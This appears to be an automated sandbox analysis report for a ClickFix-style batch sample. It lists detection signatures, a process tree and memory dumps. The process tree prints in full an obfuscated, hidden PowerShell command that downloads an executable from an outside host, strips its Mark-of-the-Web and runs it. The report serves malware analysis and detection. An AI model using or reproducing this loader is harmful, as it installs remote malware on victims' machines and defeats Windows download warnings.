Analysis
- max time kernel
150s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
04/07/2026, 10:56
General
- Target clickfix_raw_user_input.bat
- Size 269B
- Sample260704-m16sdsew2z
- SHA256 0fe98c61b318ef808b0c2f013180c0ec41d3541f3e8af5e79d34ea9f27a66d7c
Score
6/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -w h -ep bypass -c "$h='merabs.'+'pro';$n='2678a925.exe';$u='https://'+$h+'/'+$n;$f=$env:TEMP+'\x.exe';[Net.WebClient]::new().('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4652-0-0x00007FFA1C7CF000-0x00007FFA1C7D0000-memory.dmp
memory/4652-3-0x0000010F35840000-0x0000010F35862000-memory.dmp
memory/4652-4-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-5-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-6-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-7-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-8-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-9-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-10-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp
memory/4652-12-0x00007FFA1C640000-0x00007FFA1CFE4000-memory.dmp